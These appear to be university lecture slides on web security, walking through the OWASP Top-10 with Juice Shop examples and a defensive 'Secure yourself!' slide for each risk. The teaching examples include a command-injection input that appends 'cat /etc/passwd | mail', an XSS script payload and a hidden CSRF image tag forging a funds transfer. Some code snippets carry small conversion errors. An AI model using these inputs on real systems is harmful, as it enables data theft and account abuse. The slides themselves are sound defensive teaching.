Web Security

Azqa Nadeem
csel500-ewi@tudelft.nl
Learning goals

- **Describe** the most common security issues in Web applications

- **Describe** and **implement** a number of **attacks** that can be executed against **unsecured** code

- **Implement** measures to **protect** a web application against such attacks
Web apps are an attractive target ...
Large surface of attack

- Attackers can focus on different angles
  - Web server
  - Web application
  - Web browser
  - Web user

- Critical services are online: healthcare, finance, telecommunication, energy, etc.

- Automated tools to find/test known vulnerabilities exist
The web-application vulnerability scanner

Wapiti allows you to audit the security of your websites or web applications.

It performs "black-box" scans (it does not study the source code) of the web application by crawling the webpages of the deployed webapp, looking for scripts and forms where it can inject data.

SQL injection, Cross-Site scripting and much more

Use w3af to identify more than 200 vulnerabilities and reduce your site's overall risk exposure. Identify vulnerabilities like SQL Injection, Cross-Site Scripting, Guessable credentials, Unhandled application errors and PHP misconfigurations.

For a complete reference for all plugins and vulnerabilities read through the plugin documentation.
# Bug bounty programs

## Web and Services Bug Bounty Program

### Introduction

The Mozilla Bug Bounty Program is designed to encourage security research into Mozilla's websites and services and to reward those who find unique and original bugs in our web infrastructure.

Please submit all bug reports via our [secure bug reporting process](#).

### Payouts

<table>
<thead>
<tr>
<th>Bug Classification</th>
<th>Critical sites</th>
<th>Core sites</th>
<th>Other Mozilla sites&lt;sup&gt;1&lt;/sup&gt;</th>
</tr>
</thead>
<tbody>
<tr>
<td>Remote Code Execution</td>
<td>$5000</td>
<td>$2500</td>
<td>$500</td>
</tr>
<tr>
<td>Authentication Bypass&lt;sup&gt;2&lt;/sup&gt;</td>
<td>$3000</td>
<td>$1500</td>
<td>HOF</td>
</tr>
<tr>
<td>SQL Injection</td>
<td>$3000</td>
<td>$1500</td>
<td>HOF</td>
</tr>
<tr>
<td>CSRF&lt;sup&gt;3&lt;/sup&gt;</td>
<td>$2500</td>
<td>$1000</td>
<td>--</td>
</tr>
</tbody>
</table>

---

**Mozilla Security**
- Advisories
- Known Vulnerabilities
- Mozilla Security Blog
- Security Bug Bounty

**Client Bug Bounty**
- Frequently Asked Questions
- Hall of Fame

**Web Bug Bounty**
- Eligible Websites
- Frequently Asked Questions
- Hall of Fame
# Microsoft Bug Bounty Program

## Active Bounty Programs

<table>
<thead>
<tr>
<th>Program name</th>
<th>Start date</th>
<th>End date</th>
<th>Eligible entries</th>
<th>Bounty range</th>
</tr>
</thead>
<tbody>
<tr>
<td>Microsoft Identity</td>
<td>2018-7-17</td>
<td>Ongoing</td>
<td>Vulnerability reports on Identity services, including Microsoft Account, Azure Active Directory, or select OpenID standards.</td>
<td>Up to $100,000 USD</td>
</tr>
<tr>
<td>Speculative Execution Side Channel Bounty</td>
<td>2018-03-14</td>
<td>2018-12-31</td>
<td>A novel category or exploit method for a Speculative Execution Side Channel vulnerability</td>
<td>Up to $250,000 USD</td>
</tr>
<tr>
<td>Windows Insider Preview</td>
<td>2017-07-26</td>
<td>Ongoing</td>
<td>Critical and important vulnerabilities in Windows Insider Preview</td>
<td>Up to $15,000 USD</td>
</tr>
<tr>
<td>Windows Defender Application Guard</td>
<td>2017-07-26</td>
<td>Ongoing</td>
<td>Critical vulnerabilities in Windows Defender Application Guard</td>
<td>Up to $30,000 USD</td>
</tr>
<tr>
<td>Microsoft Hyper-V</td>
<td>2017-05-31</td>
<td>Ongoing</td>
<td>Critical remote code execution, information disclosure and denial of services vulnerabilities in Hyper-V</td>
<td>Up to $250,000 USD</td>
</tr>
</tbody>
</table>
Threat categories
and security incidents
Defacement
Data disclosure
Data loss
Denial of service
“Foot in the door”
Backdoors
Unauthorized access
1. Defacement

Changing / replacing the look of a site.

CMS Web-Based Monitoring

Luminosity
- HF LumiSection
- HF Fast [Forward HCAL]
- LumiScalers

DatabaseBrowser
- devdb10
- cms_hcl
- cms_hcl_int2r_lb
- ecalh4db
- Int2r_lb

ConfigureDescriptors
- cms_hcl
- cms_pvss_tk
- ecalh4db

CustomizedSlides
- cms_hcl
- cms_pvss_tk
- ecalh4db
- Int2r_lb

WBM Services
- RunSummary
- Online DQM GUI Display
- SnapShotService S3
- RunSummary TIF
- ECALSummary
- TriggerRates
- CMS PageZero
- DcsLastValue
- HCalChannelQuality
- LhcMonitor
- MagnetHistory
- EventProxy
- ConditionsBrowser

Links
- CMS Page 1
- FNAL ROC
- Commissioning & Run Coordination
- Shift ELog

Documentation
- Constructing a command line RunSummary Query
- Constructing a Database Query Plot URL
- Using the RunNotification Service
- Documentation for CustomizedSlides
- Meta Data

Code
- Tomcat
- Java
- Root
- PL/SQL

Presentations
- WBM Proposal tex | pdf (CMS IN-2006/044)
- CMS WBM 2006.08.10 ppt | pdf

Please submit any problems or requests you may have through Savannah.
Last modified: Tue May 8 15:24:03 CDT 2008

1. Defacement

Changing / replacing the look of a site.

2. Data disclosure

User data is accessible to malicious users.

**Massive VTech hack exposes data of nearly 5 million parents and over 200,000 kids**

“…a hacker made off with over 4.8 million records of parents and over 200,000 records for kids"

“… parents’ names, home addresses, email addresses and passwords"

“The secret questions used to recover accounts and passwords were stored in plaintext.”

2. Data disclosure

User data is accessible to malicious users.

3. Data loss

Attackers delete data from servers they infiltrate.

“Code Spaces was built mostly on AWS, using storage and server instances to provide its services.”

“… an attacker gained access to the company's AWS control panel and demanded money in exchange for releasing control back to Code Spaces”

“We finally managed to get our panel access back but not before he had removed all EBS snapshots, S3 buckets, all AMIs, some EBS instances, and several machine instances.”

4. Denial of service (DoS)

Making a web app unavailable to legitimate users.

How it happened

Early Christmas morning (Pacific Standard Time), the Steam Store was the target of a DoS attack which prevented the serving of store pages to users. Attacks against the Steam Store, and Steam in general, are a regular occurrence that Valve handles both directly and with the help of partner companies, and typically do not impact Steam users. During the Christmas attack, traffic to the Steam store increased 2000% over the average traffic during the Steam Sale.

In response to this specific attack, caching rules managed by a Steam web caching partner were deployed in order to both minimize the impact on Steam Store servers and continue to route legitimate user traffic. During the second wave of this attack, a second caching configuration was deployed that incorrectly cached web traffic for authenticated users. This configuration error resulted in some users seeing Steam Store responses which were generated for other users. Incorrect Store responses varied from users seeing the front page of the Store displayed in the wrong language, to seeing the account page of another user.

Source: http://store.steampowered.com/news/19852/
4. Denial of service (DoS)

Making a web app unavailable to legitimate users.

FEATURE

The Mirai botnet explained: How teen scammers and CCTV cameras almost brought down the internet

Mirai took advantage of insecure IoT devices in a simple but clever way. It scanned big blocks of the internet for open Telnet ports, then attempted to log in default passwords. In this way, it was able to amass a botnet army.

Mirai’s takedown of the Internet

On October 21, a Mirai attack targeted the popular DNS provider DYN. This event prevented Internet users from accessing many popular websites, including AirBnB, Amazon, Github, HBO, Netflix, Paypal, Reddit, and Twitter, by disturbing the DYN name-resolution service.

5. Foot in the door

Attackers enter the internal network via social engineering.

As in many hacks, investigators believe the White House intrusion began with a phishing email that was launched using a State Department email account that the hackers had taken over, according to the U.S. officials.

Director of National Intelligence James Clapper, in a speech at an FBI cyberconference in January, warned government officials and private businesses to teach employees what "spear phishing" looks like.

"So many times, the Chinese and others get access to our systems just by pretending to be someone else and then asking for access, and someone gives it to them," Clapper said.

6. Backdoors

Attackers maintain their presence by installing Backdoors.

Dutch Developer Added Backdoor to Websites He Built, Phished Over 20,000 Users

By Catalin Cimpanu

January 17, 2017 04:50 AM 0

7. Unauthorized access

Attackers can use functions of a web app, they should not be able to use.

“… an independent security researcher … managed to crack his way through Instagram defenses…following the tip … that the sensu.instagram.com web page, an administration panel for Instagram’s services, was publicly available via the Internet.”

Source: https://www.hackread.com/instagram-hacked-researcher-gets-admin-panel-access/
What is the consequence of data-disclosure?

A. Attackers may steal money from accounts  
B. Attackers may send spear phishing emails  
C. Data disclosure may lead to identity theft  
D. All of the above

✓ D. All of the above
Most frequent vulnerabilities
Survey among experts vs. Data-driven approach
Most frequent vulnerabilities

Source: Cyber risk report 2016

Empirical analysis of a large dataset of Web and mobile applications
Software security issues

- Cross-site scripting, SQL injection
- Authentication, access control, confidentiality, cryptography
- Server misconfiguration, improper file settings, sample files, outdated software versions

Source: Cyber risk report 2016, page 56
Top vulnerabilities non-mobile

Source: Cyber risk report 2016, page 57
Top-5 violated security categories

Source: Cyber risk report 2016, page 58
Top-5 violated security categories

Source: Cyber risk report 2016, page 58
Most frequent vulnerabilities

Source: Vulnerability stats. report 2019
Common Web Vulnerabilities

Source: Vulnerability statistics report 2019, page 8
Consider the following list of abilities a malicious user (the attacker) may have who managed to intercept all of your network traffic:

[1] The attacker can eavesdrop (read all your HTTP requests).
[2] The attacker can inject additional HTTP requests with your source address.
[3] The attacker can modify HTTP requests.

Which of these abilities are needed to steal session cookies?

A. Only [1]
B. [1] and [3]
C. Only [2]
D. None of these abilities are required
You find out that the server you are hosting your web application on, is using the Apache HTTP Server software, version 1.3, which was last updated in 2009. What is the problem of the server compared to using an Apache Server software version from 2018?

A. The server cannot serve HTML5 documents.
B. The server’s encryption is weaker.
C. Not all modern browsers can communicate with the server due to the outdated HTTP version.
D. The server’s ability to store cookies is more limited.

Correct answer: C.
BadStore  NodeGoat  Juice Shop*

Intentionally insecure web applications
Juice Shop

- **OWASP**: Open Web Application Security Project

- OWASP’s mission: improve software security

- Juice Shop: Node.js/Express/Angular based

- Top-10 security risks (as decided by security experts)

  “It is the most modern and sophisticated insecure web application written purely in JavaScript”
OWASP Top-10 in practice
Injection attacks #1

Exploit the fact that input is interpreted by the server without any checks.

**Input** for injection attacks via:

- **Parameter manipulation** of HTML **forms**
- **URL** parameter manipulation
- **Hidden form field** manipulation
- **HTTP header** manipulation
- **Cookie** manipulation
Manipulating applications #1

- **SQL injection**
  - Pass input containing **SQL commands** to a database server for execution
- **Cross-site scripting**
  - Exploit applications that **output unchecked input verbatim** to trick users into executing malicious code
- **Path traversal**
  - Exploit **unchecked user input to control** which files are accessed on the server
- **Command injection**
  - Exploit **unchecked user input to execute shell commands**
- **eval()**
OS command injection #1

Web server
bash script
`cat confirm | mail $email`

benign user’s input: john@test.nl

Enter your email address below to subscribe:

Enter your email address here

Sign up now

Thank you for signing up for our mailing list.

A confirmation message has been sent to you with a link you **must click on** in

`cat confirmText | mail john@test.nl`
OS command injection #1

**Web server**

**bash script**

```
cat confirm| mail $email
```

**Web server**

**Enter your email address below to subscribe:**

```
Enter your email address here

Sign up now >
```

**Thank you for signing up for our mailing list.**

**A confirmation message has been sent to you with a link you must click on in**

**benign user’s input:**

```
cat confirmText | mail john@test.nl
```

**malicious user’s input:**

```
cat confirmText | mail john@test.nl; cat /etc/passwd | mail john@test.nl
```

```
john@test.nl; cat /etc/passwd | mail john@test.nl
```
eval() #1

```javascript
node
> eval('2+5')
7
> eval( function(){console.log("Hi!");}() );
Hi!
undefined
```

eval() is dangerous (from a security point of view) and should be avoided!
Secure yourself! #1

- **Validate** user input (is this really an email address?)
- **Sanitise** user input (e.g. escape `\` to `\`)
- SQL: avoid dynamic queries (use prepared statements and bind variables)
- Do not expose **server-side errors** to the client
- Use code analysis tools and dynamic scanners to find common vulnerabilities

```javascript
1 var validator = require('validator');
2 var isEmail = validator.isEmail('while(1)'); //false
```
Broken authentication & session management #2

- Cookies are used to store a single ID on the client

- Remaining user information is stored server-side in memory or a database

- What happens if the session cookie is stolen?
Example problem scenarios:

- Using **URL rewriting** to store session IDs (recall: every URL is rewritten for every individual user on the server)
  
  ```
  http://example.com/sale/saleitems;jsessionid=2POOC2JSNDLPSKHCJUN2JV?dest=Hawaii
  ```

- Session IDs sent **via HTTP** instead of HTTPS
- Session IDs are **static** instead of being rotated
- **Predictable** session IDs
<table>
<thead>
<tr>
<th>Name</th>
<th>Value</th>
<th>Domain</th>
<th>Path</th>
<th>Expires / Max-Age</th>
<th>Size</th>
<th>HTTP Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>cookieconsent_status</td>
<td>dismiss</td>
<td>juice-shop</td>
<td>/</td>
<td>2020-09-04T1...</td>
<td>27</td>
<td></td>
</tr>
<tr>
<td>io</td>
<td>Oy7WHs1mawPxFSPfABPZ</td>
<td>juice-shop</td>
<td>/</td>
<td>Session</td>
<td>22</td>
<td></td>
</tr>
<tr>
<td>language</td>
<td>en</td>
<td>juice-shop</td>
<td>/</td>
<td>2020-09-05T1...</td>
<td>10</td>
<td></td>
</tr>
<tr>
<td>token</td>
<td>eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.ey...</td>
<td>juice-shop</td>
<td>/</td>
<td>Session</td>
<td>708</td>
<td></td>
</tr>
<tr>
<td>welcomebanner_status</td>
<td>dismiss</td>
<td>juice-shop</td>
<td>/</td>
<td>Session</td>
<td>27</td>
<td></td>
</tr>
</tbody>
</table>
Secure yourself! #2

- Good authentication and session management is difficult - avoid implementations from scratch, if possible
- Ensure that the session ID is never sent over the network unencrypted
- Generate new session ID on login (avoid reuse)
- Session IDs should have a timeout
- **Sanity check** on HTTP header fields (refer, user agent, etc.)
- Ensure that your users’ login data is stored securely
Cross-site scripting (XSS) #3

“XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content.” (OWASP)

- **Browser executes JavaScript** - no anti-virus software in place; the browser’s sandbox is the main line of defense

- Two types:
  - **Stored XSS**
  - **Reflected XSS**
Cross-site scripting (XSS) #3

Stored XSS (persistent, type-I)

- Injected script (most often JavaScript) is stored on the target Web server, e.g. through forum entries, guestbooks, commenting facilities.
- Victims retrieve the malicious script from the trusted source (the Web server).

Reflected XSS (non-persistent, type-II)

- Injected script is not stored on the target Web server.
- Victims may receive an email with a tainted link.
- Link contains malicious URL parameters (or similar).
User Profile

Email:
 jim@juice-sh.op

Username:
 <script>alert('Hello World!')</script>

Set Username

File Upload:
Choose File  No file chosen
Secure yourself! #3

- **Validate** user input (length, characters, format, etc.)
- **Escape** generated output

```html
1 <script>alert("Hello there!")</script>

1 &lt;script&gt;alert("Hello there!"}&quot;&lt;/script&gt;
Consider the following list of abilities a malicious user (the attacker) may have who managed to intercept all of your network traffic:

[1] The attacker can eavesdrop (read all your HTTP requests).
[2] The attacker can inject additional HTTP requests with your source address.
[3] The attacker can modify HTTP requests.

Which of the listed abilities is needed to perform a reflected XSS attack on you?

A. Only [1]
B. [1] and [3]
C. Only [2]
D. None of these abilities are required.

✓
Improper Input Validation #4

• Cause of #1 and #3

• Unchecked user input can
  Alter application’s control flow
  Crash abruptly
  Execute arbitrary code
User Registration

Email
blah@blah.blah

Password
******

Password must be 5-20 characters long.

Repeat Password
******

Passwords do not match

Security Question

This cannot be changed later!

Answer
Improper Input Validation #4

• Cause of #1 and #3

• Unchecked user input can
  Alter application’s control flow
  Crash abruptly
  Execute arbitrary code

Secure yourself: Validate and Escape user input on the server-side
Security misconfiguration #5

- Full-stack engineering requires extensive knowledge of **system administration** and the web development stack
- Issues can arise everywhere (Web server, database, application framework, operating system, …)
  - Default passwords remain set
  - Improper error handling causes ugly crashes
  - Files are publicly accessible that should not be

“Finding the **app** on Github did, however, lead to an even better finding. The file `secret_token.rb` on Github had a Rails **secret token hardcoded**. It seemed **unlikely** that Instagram would **leave that token the same on their server**, but if they did, I would be able to spoof session cookies.”

Source: [https://exfiltrated.com/research-Instagram-RCE.php](https://exfiltrated.com/research-Instagram-RCE.php)
Secure yourself!

#5

- Use vulnerability scanners
- Install the latest stable version of Node.js and Express (use Helmet).
- npm audit (fix)
- Install security updates.
Sensitive data exposure #6

“Attackers typically don’t break crypto directly. They do something else, such as **steal keys**, **do man-in-the-middle attacks**, or **steal clear text data** off the server, while in transit, or from the user’s browser.“ (OWASP)

**Example scenarios:**

- Using **database encryption only** to secure the data
- **Not using SSL** for all authenticated pages
- Using **outdated encryption** strategies to secure a password file
- **Storing sensitive documents** without access control
“Attackers typically don’t break crypto directly. They do something else, such as steal keys, do man-in-the-middle attacks, or steal clear text data off the server, while in transit, or from the user’s browser.“ (OWASP)

Developers keep leaving secret login credentials on GitHub

The hackers who stole data on 50,000 Uber drivers in 2014 didn’t have to do much hacking at all. They got into the company’s database using login credentials they’d found on GitHub, the code-sharing website used by more than 14 million developers. An Uber employee had uploaded the credentials to GitHub by accident, and left them on a public page for months.

Source: https://qz.com/674520/companies-are-sharing-their-secret-access-codes-on-github-and-they-may-not-even-know-it/
Secure yourself! #6

• All sensitive data should be encrypted across the network and when stored
• Only store the necessary sensitive data
• Use strong encryption algorithms (a constantly changing target)
• Disable autocomplete on forms collecting sensitive data
• Disable caching for pages containing sensitive data
“Attacker, who is an **authorized system user**, simply changes the URL or a parameter to a **privileged function**. Is access granted? Anonymous users could access private functions that aren’t protected.“ (OWASP)

**Direct Object References**

```javascript
var todoTypes = {
    important: "TI1506","OOP","Calculus"],
    urgent: ["Dentist","Hotel booking"],
    unimportant: ["Groceries"],
};

app.get('/todos/:type', function (req, res, next) {
    var todos = todoTypes[req.params.type];
    if (!todos) {
        return next(); // will eventually fall through to 404
    }
    res.send(todos);
});
```

**No verification**: is the user authorized to access the target object?
Broken access control #7

“Attacker, who is an authorized system user, simply changes the URL or a parameter to a privileged function. Is access granted? Anonymous users could access private functions that aren’t protected.“ (OWASP)

- Attacker tests a range of target URLs that should require authentication
  - Especially easy for large Web frameworks which come with default routes enabled
- An attacker can invoke functions via URL parameters that should require authorisation
- Can also be achieved using predictable session cookies
Your Basket (jim@juice-sh.op)

<table>
<thead>
<tr>
<th>Product</th>
<th>Quantity</th>
<th>Total Price</th>
</tr>
</thead>
<tbody>
<tr>
<td>Raspberry Juice (1000ml)</td>
<td>2</td>
<td>9.98</td>
</tr>
</tbody>
</table>

Checkout

You will gain 0 Bonus Points from this order!
Secure yourself! #7

- **Avoid** the use of direct object references (indirect is better)

- Use of objects should include an **authorisation subroutine**

- **Avoid** exposing object IDs, keys and filenames to users
Cross-Site Request Forgery (CSRF)

Example scenario:

- Web application allows users to transfer funds from their accounts to other accounts:
  http://mygame.nl/transferFunds?amount=100&to=342432

- Victim is already **authenticated**

- Attacker constructs a request to transfer funds to his own account and embeds it in an image request stored on a site under his control
  `<img src="http://mygame.nl/transferFunds?amount=1000&to=666" width="0" height="0" />

“Attacker creates **forged HTTP requests** and tricks a victim into submitting them via **image tags**, **XSS**, or numerous other techniques. If the user is authenticated, the attack succeeds.” (OWASP)
As a Web application user, what makes you most likely to fall victim to a CSRF attack?

A. Using a Web application that is not relying on SSL/TLS.
B. Using the “keep me logged in” option offered by Web applications.
C. Using a Web application with weak encryption.
D. Using the browser’s “remember this password” option when logging into a Web application.

B.
Secure yourself! #8

- Use an **unpredictable token** (unique per session) in the HTTP request [e.g. in a hidden form field] which cannot (easily) be reconstructed by an attacker

- Ask for **reauthentication** if unusual activity (location/time) is detected
Insecure components #9

“Attacker identifies a **weak component** through scanning or manual analysis. He **customizes the exploit** as needed and executes the attack.“ (OWASP)

- Large Web projects rely on many resource to function; each one is vulnerable
- Fixing discovered vulnerabilities takes time
- Even time-tested software can be hit
Secure yourself! #9

CVE Details
The ultimate security vulnerability datasource

Enter a CVE id, product, vendor, vulnerability to Search

Current CVSS Score Distribution For All Vulnerabilities

<table>
<thead>
<tr>
<th>CVSS Score</th>
<th>Number Of Vulnerabilities</th>
<th>Percentage</th>
</tr>
</thead>
<tbody>
<tr>
<td>0-1</td>
<td>737</td>
<td>0.60</td>
</tr>
<tr>
<td>1-2</td>
<td>914</td>
<td>0.70</td>
</tr>
<tr>
<td>2-3</td>
<td>4873</td>
<td>3.90</td>
</tr>
<tr>
<td>3-4</td>
<td>4555</td>
<td>3.70</td>
</tr>
<tr>
<td>4-5</td>
<td>27431</td>
<td>22.20</td>
</tr>
<tr>
<td>5-6</td>
<td>23770</td>
<td>19.30</td>
</tr>
<tr>
<td>6-7</td>
<td>17040</td>
<td>13.80</td>
</tr>
<tr>
<td>7-8</td>
<td>27345</td>
<td>22.20</td>
</tr>
<tr>
<td>8-9</td>
<td>553</td>
<td>0.40</td>
</tr>
</tbody>
</table>

Vulnerability Distribution By CVSS Scores

CVE Score Range:
- 0-1
- 1-2
- 2-3
- 3-4
- 4-5
- 5-6
- 6-7
- 7-8
- 8-9
- 9-10

https://www.cvedetails.com

Secure yourself! #9
Unvalidated Redirects #10

“Attacker links to unvalidated redirect and tricks victims into clicking it. Victims are more likely to click on it, since the link is to a valid site.” (OWASP)

Example scenario:

- Web application includes a page called “redirect”
- Attacker uses a malicious URL that redirects users to his site for phishing, etc.
- User believes that the URL will lead to content on mygame.nl
Your saved cards

<table>
<thead>
<tr>
<th>Card Number</th>
<th>Name</th>
<th>Expires On</th>
</tr>
</thead>
<tbody>
<tr>
<td>************8705</td>
<td>Jim</td>
<td>11/2099</td>
</tr>
</tbody>
</table>

Add new card

Add a credit or debit card

Pay using wallet

Wallet Balance 100.00

Pay 301.67

Add a coupon

Add a coupon code to receive discounts

Other payment options

Payment  (Thank you for supporting OWASP Juice Shop! ❤️)

Pay Pal  Credit Card
Secure yourself! #10

- Avoid redirects and forwards in a web application
- When used, **do not allow users to set redirect** via URL parameters
- Ensure that user-provided redirect is **valid** and **authorised**
Summary

- Web applications offer many angles of attack

- Securing a Web application requires extensive knowledge in different areas

- Main message: validate, validate and validate again
This is it. You have reached the top of the Web stack staircase!